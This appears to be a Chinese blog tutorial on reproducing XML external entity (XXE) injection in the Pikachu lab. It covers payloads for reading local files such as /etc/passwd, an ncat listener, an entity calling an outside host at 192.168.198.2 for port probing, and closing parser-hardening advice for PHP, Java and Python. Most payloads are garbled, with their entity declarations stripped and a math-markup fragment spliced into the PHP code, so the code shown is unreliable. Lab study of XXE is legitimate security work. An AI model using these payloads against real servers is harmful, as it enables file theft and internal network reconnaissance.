XXE漏洞复现实操

文章目录

一、漏洞原理

(1)XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏洞, XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害,XML(也是一种语言)被设计用来传输和存储数据

(2)也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致漏洞

实验环境:windows pikachu xxe漏洞

二、验证payload

<?xml version = "1.0"?>

]>

&hacker;

三、没有回显时的验证

<?xml version = "1.0"?>

]>

&xxe;

四、漏洞特征

Accept里有application/xml的格式

五、读取文件

<?xml version = "1.0"?> ]> &f;

六、Base64加密读取

<?xml version = "1.0"?> ]> &f;

或则读取linux的/etc/passwd
<?xml version = "1.0"?> ]> &f;

七、端口检测

ncat -lvp 4000(端口可自定义)

使用以下语句尝试是否能够建立连接
<?xml version = "1.0"?><!ENTITY xxe SYSTEM "http://192.168.198.2:4000/">

]>&xxe;

如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。

八、使用php检测端口

<?php $xml=<<

]>

&xxe;

EOF;
<math xmlns="http://www.w3.org/1998/Math/MathML"> d a t a = s i m p l e x m l l o a d s t r i n g ( data=simplexml_load_string( </math>data=simplexmlloadstring(xml);

print_r($data);

?>

端口关闭的情况如下

开启时

九、dtd外部实体读取文件

<?xml version="1.0"?><!DOCTYPE note

\%d;\]\> \&eviltest; # 十、Xxe漏洞防御 1、使用开发语言提供的禁用外部实体的方法 1.PHP: libxml_disable_entity_loader(true); 2.JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 3.Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

相关推荐
CTO Plus技术服务中5 小时前
一栈式、系统性的C、C++、Go、网络安全、Linux运维开发笔记和面试笔记
c++·web安全·golang
mooyuan天天5 小时前
upload-labs通关笔记-第17关文件上传之二次渲染png格式(python脚本法)
web安全·文件上传·文件上传漏洞·upload-labs·二次渲染
Qaz555666916 小时前
网络安全笔记(第一二天)
笔记·安全·web安全
hzb666666 小时前
xd_day28js原生开发-day31 day41asp.net
开发语言·前端·javascript·安全·web安全
渐雨朦胧眼6 小时前
网络安全之防御保护笔记
笔记·安全·web安全
轻造科技1 天前
设备点检系统+移动端APP:替代纸质点检表,漏检率降为0
网络·安全·web安全
沈千秋.1 天前
文件包含[一道CTF题]
web安全·文件包含
祁白_1 天前
文件包含笔记整理
笔记·学习·安全·web安全
恃宠而骄的佩奇1 天前
网络安全面试题——安全服务
web安全·网络安全·面试·奇安信
乾元1 天前
当奥本海默遇到图灵:AI 开启的网络安全新纪元
服务器·网络·人工智能·网络协议·安全·web安全